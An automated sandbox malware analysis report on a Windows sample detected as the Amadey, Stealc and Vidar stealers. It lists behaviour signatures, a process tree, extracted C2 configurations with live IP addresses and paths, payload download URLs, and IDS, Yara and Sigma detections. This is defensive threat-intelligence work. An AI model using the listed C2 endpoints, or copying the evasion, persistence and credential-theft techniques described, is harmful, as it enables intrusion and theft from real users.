Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1554123
MD5:	59b3273d9d5c8f80b5cfe9e160188073
SHA1:	3dfe989cba1316ed1a4e82b8bf9e73301749e559
SHA256:	101e5dd7863cc4cc10c084d7468f2bd81a77323f9fb49b4b5ebd6077a5552ba8
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Modifies windows update settings

Monitors registry run keys for changes

PE file contains section with special chars

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6008 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 59B3273D9D5C8F80B5CFE9E160188073)

chrome.exe (PID: 6172 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2928 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2656 --field-trial-handle=2468,i,9010662023818967337,633821691604264158,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 7984 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7584 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2384 --field-trial-handle=2272,i,4234674185998409260,14968440290585213701,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 7200 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsKKFHJJDHJE.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsKKFHJJDHJE.exe (PID: 8584 cmdline: "C:\Users\user\DocumentsKKFHJJDHJE.exe" MD5: 8231838196B7B207B73B8BF17344DC6E)

skotes.exe (PID: 8864 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 8231838196B7B207B73B8BF17344DC6E)

msedge.exe (PID: 7604 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 5600 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2956 --field-trial-handle=2372,i,11112093602853400698,17986808643466300241,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8540 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7268 --field-trial-handle=2372,i,11112093602853400698,17986808643466300241,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8652 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=5360 --field-trial-handle=2372,i,11112093602853400698,17986808643466300241,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 5736 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7120 --field-trial-handle=2372,i,11112093602853400698,17986808643466300241,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 2124 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6316 --field-trial-handle=2372,i,11112093602853400698,17986808643466300241,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 9172 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 8231838196B7B207B73B8BF17344DC6E)

f0388bf2aa.exe (PID: 7752 cmdline: "C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe" MD5: 59B3273D9D5C8F80B5CFE9E160188073)

skotes.exe (PID: 6000 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 8231838196B7B207B73B8BF17344DC6E)

0b7df35e6b.exe (PID: 8112 cmdline: "C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe" MD5: AB555CC5ACC5955E93FF9F142DB74EC2)

f0388bf2aa.exe (PID: 8476 cmdline: "C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe" MD5: 59B3273D9D5C8F80B5CFE9E160188073)

f0388bf2aa.exe (PID: 7608 cmdline: "C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe" MD5: 59B3273D9D5C8F80B5CFE9E160188073)

0b7df35e6b.exe (PID: 6008 cmdline: "C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe" MD5: AB555CC5ACC5955E93FF9F142DB74EC2)

0b7df35e6b.exe (PID: 4748 cmdline: "C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe" MD5: AB555CC5ACC5955E93FF9F142DB74EC2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001B.00000002.2917558325.0000000000981000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000017.00000002.4481339709.00000000008B1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001B.00000003.2877272364.0000000005330000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001B.00000002.2918547497.00000000016AB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2411681140.000000000194E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000002.3002668049.000000000138B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000002.2998798875.0000000000981000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000003.2958211114.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000018.00000002.2794178942.0000000000981000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000018.00000002.2795084651.00000000012FE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2410670260.0000000000C61000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000018.00000003.2753904941.0000000004FB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000014.00000002.2461929349.00000000005E1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2029990160.0000000005450000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000015.00000002.2502298875.00000000008B1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 6008	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6008	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6008	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6008	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: f0388bf2aa.exe PID: 7752	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: f0388bf2aa.exe PID: 7752	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: f0388bf2aa.exe PID: 8476	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: f0388bf2aa.exe PID: 8476	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: f0388bf2aa.exe PID: 7608	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: f0388bf2aa.exe PID: 7608	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 20 entries

Unpacked PEs

Source	Rule	Description	Author
21.2.skotes.exe.8b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
23.2.skotes.exe.8b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
20.2.DocumentsKKFHJJDHJE.exe.5e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 9172, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\f0388bf2aa.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 6008, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 6172, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 9172, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\f0388bf2aa.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T04:16:25.619758+0100	2022930	1	A Network Trojan was detected	52.149.20.212	443	192.168.2.5	49732	TCP
2024-11-12T04:17:05.244017+0100	2022930	1	A Network Trojan was detected	52.149.20.212	443	192.168.2.5	50064	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T04:17:16.716434+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50119	185.215.113.43	80	TCP
2024-11-12T04:17:20.796545+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50121	185.215.113.43	80	TCP
2024-11-12T04:17:30.846221+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50133	185.215.113.43	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T04:16:05.909156+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T04:16:05.902960+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T04:16:06.189665+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T04:16:07.331843+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T04:16:06.196626+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T04:16:05.617045+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-12T04:17:16.706292+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50118	185.215.113.206	80	TCP
2024-11-12T04:17:30.729219+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50132	185.215.113.206	80	TCP
2024-11-12T04:17:37.290607+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50136	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T04:17:05.156147+0100	2856147	1	A Network Trojan was detected	192.168.2.5	50067	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T04:17:15.805039+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	50082	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T04:17:08.506990+0100	2803305	3	Unknown Traffic	192.168.2.5	50089	185.215.113.16	80	TCP
2024-11-12T04:17:21.714673+0100	2803305	3	Unknown Traffic	192.168.2.5	50122	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T04:16:07.856863+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-12T04:16:28.142645+0100	2803304	3	Unknown Traffic	192.168.2.5	49750	185.215.113.206	80	TCP
2024-11-12T04:16:29.378902+0100	2803304	3	Unknown Traffic	192.168.2.5	49750	185.215.113.206	80	TCP
2024-11-12T04:16:29.968768+0100	2803304	3	Unknown Traffic	192.168.2.5	49750	185.215.113.206	80	TCP
2024-11-12T04:16:30.726176+0100	2803304	3	Unknown Traffic	192.168.2.5	49750	185.215.113.206	80	TCP
2024-11-12T04:16:32.132806+0100	2803304	3	Unknown Traffic	192.168.2.5	49750	185.215.113.206	80	TCP
2024-11-12T04:16:32.612098+0100	2803304	3	Unknown Traffic	192.168.2.5	49750	185.215.113.206	80	TCP
2024-11-12T04:16:37.369879+0100	2803304	3	Unknown Traffic	192.168.2.5	49898	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.43/Zu7JuNko/index.phpncoded?	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpT	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dlla	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpe	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpk	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpu	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpy	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/J?	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php-	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exe61395d	Avira URL Cloud: Label: phishing
Source: http://185.215.113.43/Zu7JuNko/index.phpnI	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpdedF	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/SSC:	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php2001	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpsoft	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000017.00000002.4481339709.00000000008B1000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: f0388bf2aa.exe.7752.24.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for domain / URL

Source: http://185.215.113.43/Zu7JuNko/index.phpT	Virustotal: Detection: 12%	Perma Link
Source: http://185.215.113.43/Zu7JuNko/index.phpncoded?	Virustotal: Detection: 17%	Perma Link
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dlla	Virustotal: Detection: 17%	Perma Link

Multi AV Scanner detection for submitted file

Source: file.exe

Virustotal: Detection: 42%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C666C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7BA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6C7BA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7B4440 PK11_PrivDecrypt,	0_2_6C7B4440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C784420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6C784420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7B44C0 PK11_PubEncrypt,	0_2_6C7B44C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8025B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6C8025B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C798670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6C798670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7BA650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6C7BA650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C79E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6C79E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7DA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6C7DA730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7E0180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6C7E0180

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:49732 version: TLS 1.2
